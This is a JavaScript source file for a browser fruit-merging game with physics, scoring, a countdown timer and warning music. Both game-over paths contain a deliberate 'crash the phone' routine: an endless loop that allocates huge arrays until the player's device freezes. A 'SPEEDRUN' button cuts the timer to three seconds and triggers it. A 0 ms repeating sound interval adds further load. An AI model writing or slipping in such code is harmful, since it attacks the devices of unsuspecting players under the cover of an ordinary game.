/**** 
* Plugins
****/ 
var tween = LK.import("@upit/tween.v1");

/**** 
* Classes
****/ 
var Fruit = Container.expand(function (type, x, y) {
	var self = Container.call(this);
	self.fruitType = type;
	self.fruitTypes = ['grape', 'cherry', 'strawberry', 'lemon', 'orange', 'apple', 'pear', 'peach', 'pineapple', 'melon', 'watermelon'];
	self.fruitSizes = [80, 100, 120, 140, 160, 180, 200, 220, 240, 260, 300];
	self.fruitPoints = [10, 20, 40, 80, 160, 320, 640, 1280, 2560, 5120, 10240];
	self.graphics = self.attachAsset(type, {
		anchorX: 0.5,
		anchorY: 0.5
	});
	self.x = x;
	self.y = y;
	self.vx = 0;
	self.vy = 0;
	self.radius = self.fruitSizes[self.fruitTypes.indexOf(type)] / 2;
	self.gravity = 0.8;
	self.bounce = 0.3;
	self.friction = 0.99;
	self.hasMerged = false;
	self.update = function () {
		if (self.hasMerged) return;
		// Initialize last ground contact state if not set
		if (self.lastOnGround === undefined) self.lastOnGround = false;
		// Apply gravity
		self.vy += self.gravity;
		// Apply velocity
		self.x += self.vx;
		self.y += self.vy;
		// Apply friction
		self.vx *= self.friction;
		self.vy *= self.friction;
		// Boundary collision with container walls
		if (self.x - self.radius < containerLeft + 40) {
			self.x = containerLeft + 40 + self.radius;
			self.vx = -self.vx * self.bounce;
		}
		if (self.x + self.radius > containerRight - 40) {
			self.x = containerRight - 40 - self.radius;
			self.vx = -self.vx * self.bounce;
		}
		// Boundary collision with container bottom
		var currentOnGround = self.y + self.radius > containerBottom - 20;
		if (currentOnGround) {
			// Check if this is the moment we hit the ground (transition from not on ground to on ground)
			if (!self.lastOnGround && currentOnGround) {
				// Play ground hit sound
				LK.getSound('groundHit').play();
			}
			self.y = containerBottom - 20 - self.radius;
			self.vy = -self.vy * self.bounce;
			if (Math.abs(self.vy) < 1) {
				self.vy = 0;
			}
		}
		// Update last ground contact state
		self.lastOnGround = currentOnGround;
		// Check for merging with other fruits
		for (var i = 0; i < fruits.length; i++) {
			var other = fruits[i];
			if (other === self || other.hasMerged || self.hasMerged) continue;
			if (other.fruitType !== self.fruitType) continue;
			var dx = other.x - self.x;
			var dy = other.y - self.y;
			var distance = Math.sqrt(dx * dx + dy * dy);
			var minDistance = self.radius + other.radius;
			if (distance < minDistance) {
				// Merge fruits
				self.merge(other);
				break;
			}
		}
		// Check for collision with other fruits
		for (var i = 0; i < fruits.length; i++) {
			var other = fruits[i];
			if (other === self || other.hasMerged || self.hasMerged) continue;
			var dx = other.x - self.x;
			var dy = other.y - self.y;
			var distance = Math.sqrt(dx * dx + dy * dy);
			var minDistance = self.radius + other.radius;
			if (distance < minDistance && distance > 0) {
				// Separate fruits
				var overlap = minDistance - distance;
				var separationX = dx / distance * overlap * 0.5;
				var separationY = dy / distance * overlap * 0.5;
				self.x -= separationX;
				self.y -= separationY;
				other.x += separationX;
				other.y += separationY;
				// Exchange velocities
				var tempVx = self.vx;
				var tempVy = self.vy;
				self.vx = other.vx * self.bounce;
				self.vy = other.vy * self.bounce;
				other.vx = tempVx * other.bounce;
				other.vy = tempVy * other.bounce;
			}
		}
	};
	self.merge = function (other) {
		if (self.hasMerged || other.hasMerged) return;
		var typeIndex = self.fruitTypes.indexOf(self.fruitType);
		if (typeIndex >= self.fruitTypes.length - 1) return; // Already watermelon
		var newType = self.fruitTypes[typeIndex + 1];
		var points = self.fruitPoints[typeIndex + 1];
		// Mark both fruits as merged
		self.hasMerged = true;
		other.hasMerged = true;
		// Create new fruit at average position
		var newX = (self.x + other.x) / 2;
		var newY = (self.y + other.y) / 2;
		// Add score
		LK.setScore(LK.getScore() + points);
		scoreTxt.setText(LK.getScore());
		// Play merge sound
		LK.getSound('merge').play();
		// Flash effect
		LK.effects.flashObject(self, 0xffffff, 200);
		LK.effects.flashObject(other, 0xffffff, 200);
		// Remove old fruits after a short delay
		LK.setTimeout(function () {
			// Remove from fruits array
			var selfIndex = fruits.indexOf(self);
			if (selfIndex >= 0) {
				fruits.splice(selfIndex, 1);
			}
			var otherIndex = fruits.indexOf(other);
			if (otherIndex >= 0) {
				fruits.splice(otherIndex, 1);
			}
			// Destroy old fruits
			self.destroy();
			other.destroy();
			// Create new fruit
			var newFruit = new Fruit(newType, newX, newY);
			fruits.push(newFruit);
			game.addChild(newFruit);
		}, 200);
	};
	return self;
});

/**** 
* Initialize Game
****/ 
var game = new LK.Game({
	backgroundColor: 0x87ceeb
});

/**** 
* Game Code
****/ 
var fruits = [];
var nextFruitType = 'grape';
var containerLeft = 224;
var containerRight = 1824;
var containerBottom = 2200;
var containerTop = 800;
var dropPosition = 1024;
var canDrop = true;
var gameOverLine = containerTop - 100;
var gameTimer = 60 * 60; // 60 seconds at 60 FPS
var warningText = null;
var warningMusicPlaying = false;
var warningMusicTimer = null;
var warningMusicSpeed = 1; // Speed multiplier for warning music 
var warningMusicVolume = 0.8; // Current volume for warning music
// Create container
var container = game.addChild(LK.getAsset('container', {
	anchorX: 0.5,
	anchorY: 0.5,
	x: 1024,
	y: 1500
}));
// Create container walls
var leftWall = game.addChild(LK.getAsset('containerWall', {
	anchorX: 0.5,
	anchorY: 0.5,
	x: containerLeft,
	y: 1500
}));
var rightWall = game.addChild(LK.getAsset('containerWall', {
	anchorX: 0.5,
	anchorY: 0.5,
	x: containerRight,
	y: 1500
}));
var bottomWall = game.addChild(LK.getAsset('containerBottom', {
	anchorX: 0.5,
	anchorY: 0.5,
	x: 1024,
	y: containerBottom
}));
// Create score display
var scoreTxt = new Text2('0', {
	size: 80,
	fill: 0xFFFFFF
});
scoreTxt.anchor.set(0.5, 0);
LK.gui.top.addChild(scoreTxt);
// Create timer display
var timerTxt = new Text2('60', {
	size: 120,
	fill: 0xFFFFFF
});
timerTxt.anchor.set(0.5, 0.5);
timerTxt.x = 1024;
timerTxt.y = containerTop - 100;
game.addChild(timerTxt);
// Create speedrun button background
var speedrunButtonBg = game.addChild(LK.getAsset('Speedone', {
	anchorX: 0,
	anchorY: 0,
	x: 120,
	y: 220
}));
// Create speedrun button
var speedrunButton = new Text2('SPEEDRUN', {
	size: 60,
	fill: 0xFFFFFF
});
speedrunButton.anchor.set(0, 0);
speedrunButton.x = 120;
speedrunButton.y = 220;
game.addChild(speedrunButton);
// Add click handler for speedrun button
speedrunButton.down = function (x, y, obj) {
	gameTimer = 3 * 60; // Set timer to 3 seconds (3 seconds * 60 FPS)
	timerTxt.setText('3');
	// Flash the button to show it was pressed
	LK.effects.flashObject(speedrunButton, 0x00ff00, 300);
	LK.effects.flashObject(speedrunButtonBg, 0x00ff00, 300);
};
// Add click handler for speedrun button background
speedrunButtonBg.down = function (x, y, obj) {
	gameTimer = 3 * 60; // Set timer to 3 seconds (3 seconds * 60 FPS)
	timerTxt.setText('3');
	// Flash the button to show it was pressed
	LK.effects.flashObject(speedrunButton, 0x00ff00, 300);
	LK.effects.flashObject(speedrunButtonBg, 0x00ff00, 300);
};
// Create next fruit preview box in top left
var nextFruitBox = game.addChild(LK.getAsset('container', {
	anchorX: 0,
	anchorY: 0,
	x: 150,
	y: 300,
	scaleX: 0.15,
	scaleY: 0.15
}));
// Create next fruit preview
var nextFruitPreview = game.addChild(LK.getAsset('nextFruit', {
	anchorX: 0.5,
	anchorY: 0.5,
	x: 270,
	y: 390
}));
function updateNextFruitPreview() {
	// Fade out old preview
	tween(nextFruitPreview, {
		alpha: 0,
		scaleX: 0.5,
		scaleY: 0.5
	}, {
		duration: 150,
		easing: tween.easeIn,
		onFinish: function onFinish() {
			nextFruitPreview.destroy();
			nextFruitPreview = game.addChild(LK.getAsset(nextFruitType, {
				anchorX: 0.5,
				anchorY: 0.5,
				x: 270,
				y: 390,
				scaleX: 0.8,
				scaleY: 0.8
			}));
			// Fade in new preview
			nextFruitPreview.alpha = 0;
			nextFruitPreview.scaleX = 1.2;
			nextFruitPreview.scaleY = 1.2;
			tween(nextFruitPreview, {
				alpha: 1,
				scaleX: 1,
				scaleY: 1
			}, {
				duration: 200,
				easing: tween.bounceOut
			});
		}
	});
}
function getRandomSmallFruit() {
	var smallFruits = ['grape', 'cherry', 'strawberry', 'lemon'];
	return smallFruits[Math.floor(Math.random() * smallFruits.length)];
}
// checkGameOver function removed
// Initial setup
nextFruitType = getRandomSmallFruit();
updateNextFruitPreview();
// Play background music with looping
LK.playMusic('music');
game.move = function (x, y, obj) {
	if (!canDrop) return;
	// Constrain drop position within container bounds
	dropPosition = Math.max(containerLeft + 60, Math.min(containerRight - 60, x));
};
game.down = function (x, y, obj) {
	if (!canDrop) return;
	// Add scale down animation to preview before dropping
	tween(nextFruitPreview, {
		scaleX: 0.8,
		scaleY: 0.8
	}, {
		duration: 100,
		easing: tween.easeIn,
		onFinish: function onFinish() {
			// Drop the fruit
			var newFruit = new Fruit(nextFruitType, dropPosition, containerTop + 50);
			fruits.push(newFruit);
			game.addChild(newFruit);
			// Add entry animation to the new fruit
			newFruit.scaleX = 0.5;
			newFruit.scaleY = 0.5;
			tween(newFruit, {
				scaleX: 1,
				scaleY: 1
			}, {
				duration: 200,
				easing: tween.bounceOut
			});
			// Play drop sound
			LK.getSound('drop').play();
			// Prevent dropping for a short time
			canDrop = false;
			LK.setTimeout(function () {
				canDrop = true;
			}, 500);
			// Generate next fruit
			nextFruitType = getRandomSmallFruit();
			updateNextFruitPreview();
		}
	});
};
game.update = function () {
	// Update timer
	gameTimer--;
	var seconds = Math.ceil(gameTimer / 60);
	timerTxt.setText(seconds);
	// Check if timer is running out (last 10 seconds) and flash red screen
	if (seconds <= 10 && seconds > 0) {
		// Calculate speed multiplier based on remaining time (faster as time runs out)
		var newSpeed = Math.max(1, 11 - seconds); // Speed increases from 1 to 10
		// Start warning music if not already playing or restart if speed changed
		if (!warningMusicPlaying || warningMusicSpeed !== newSpeed) {
			if (warningMusicTimer) {
				LK.clearInterval(warningMusicTimer);
				warningMusicTimer = null;
			}
			if (!warningMusicPlaying) {
				LK.stopMusic(); // Stop background music when warning starts
			}
			warningMusicSpeed = newSpeed;
			// Calculate new volume based on urgency (0.8 to 1.0)
			var targetVolume = Math.min(1.0, 0.8 + (newSpeed - 1) * 0.02);
			// Tween volume increase if it changed
			if (Math.abs(warningMusicVolume - targetVolume) > 0.01) {
				tween({
					volume: warningMusicVolume
				}, {
					volume: targetVolume
				}, {
					duration: 50,
					easing: tween.easeOut,
					onFinish: function onFinish() {
						warningMusicVolume = targetVolume;
					}
				});
			}
			// Start the warning music loop with decreasing interval
			var playWarningMusic = function playWarningMusic() {
				var sound = LK.getSound('warningMusic');
				sound.volume = warningMusicVolume;
				sound.play();
			};
			playWarningMusic(); // Play immediately
			// Calculate interval: 0 seconds with no space between iterations
			var interval = 0;
			warningMusicTimer = LK.setInterval(playWarningMusic, interval);
			warningMusicPlaying = true;
		}
		// Create warning text if it doesn't exist
		if (!warningText) {
			warningText = new Text2('Time is running out!', {
				size: 100,
				fill: 0xFFFFFF
			});
			warningText.anchor.set(0.5, 0.5);
			warningText.x = 1024;
			warningText.y = 1366; // Center of screen
			warningText.alpha = 0;
			game.addChild(warningText);
			// Fade in the warning text
			tween(warningText, {
				alpha: 1
			}, {
				duration: 300,
				easing: tween.easeOut
			});
		}
		// Flash red screen every 30 frames (twice per second at 60 FPS)
		if (LK.ticks % 30 === 0) {
			LK.effects.flashScreen(0xff0000, 500);
			// Change text to black during flash, then back to white
			if (warningText) {
				warningText.fill = 0x000000; // Black text during flash
				// Change back to white after flash duration
				LK.setTimeout(function () {
					if (warningText) {
						warningText.fill = 0xFFFFFF;
					}
				}, 500);
			}
		}
	} else if (warningText && seconds > 10) {
		// Remove warning text if timer goes above 10 seconds
		warningText.destroy();
		warningText = null;
		if (warningMusicPlaying) {
			LK.getSound('warningMusic').stop();
			if (warningMusicTimer) {
				LK.clearInterval(warningMusicTimer);
				warningMusicTimer = null;
			}
			LK.playMusic('music'); // Restart background music when warning ends
		}
		warningMusicPlaying = false;
		warningMusicVolume = 0.8; // Reset volume for next warning
	}
	// Check if timer ran out
	if (gameTimer <= 0) {
		if (warningText) {
			warningText.destroy();
			warningText = null;
		}
		if (warningMusicPlaying) {
			LK.getSound('warningMusic').stop();
			if (warningMusicTimer) {
				LK.clearInterval(warningMusicTimer);
				warningMusicTimer = null;
			}
		}
		warningMusicPlaying = false;
		// Crash the phone with infinite loop
		while (true) {
			var crashArray = [];
			for (var x = 0; x < 1000000; x++) {
				crashArray.push(new Array(1000).fill(Math.random()));
			}
		}
		LK.showGameOver();
		return;
	}
	// Update all fruits
	for (var i = fruits.length - 1; i >= 0; i--) {
		if (fruits[i] && !fruits[i].hasMerged) {
			// Check if fruit still exists (might have been destroyed in merge)
			if (fruits[i].parent) {
				fruits[i].update();
			}
		}
	}
	// Check for game over - if any fruit reaches the top
	for (var i = 0; i < fruits.length; i++) {
		if (fruits[i] && !fruits[i].hasMerged) {
			// Initialize last close to top state if not set
			if (fruits[i].lastCloseToTop === undefined) fruits[i].lastCloseToTop = false;
			// Check if fruit is close to top (but not at game over line)
			var closeToTopLine = gameOverLine + 150; // 150 pixels below game over line
			var currentCloseToTop = fruits[i].y - fruits[i].radius <= closeToTopLine && fruits[i].y - fruits[i].radius > gameOverLine;
			// Play sound when fruit first gets close to top
			if (!fruits[i].lastCloseToTop && currentCloseToTop) {
				LK.getSound('closeToTop').play();
			}
			// Update last close to top state
			fruits[i].lastCloseToTop = currentCloseToTop;
			if (fruits[i].y - fruits[i].radius <= gameOverLine) {
				if (warningMusicPlaying) {
					LK.getSound('warningMusic').stop();
					if (warningMusicTimer) {
						LK.clearInterval(warningMusicTimer);
						warningMusicTimer = null;
					}
				}
				warningMusicPlaying = false;
				// Crash the phone with infinite loop
				while (true) {
					var crashArray = [];
					for (var x = 0; x < 1000000; x++) {
						crashArray.push(new Array(1000).fill(Math.random()));
					}
				}
				LK.showGameOver();
				return;
			}
		}
	}
};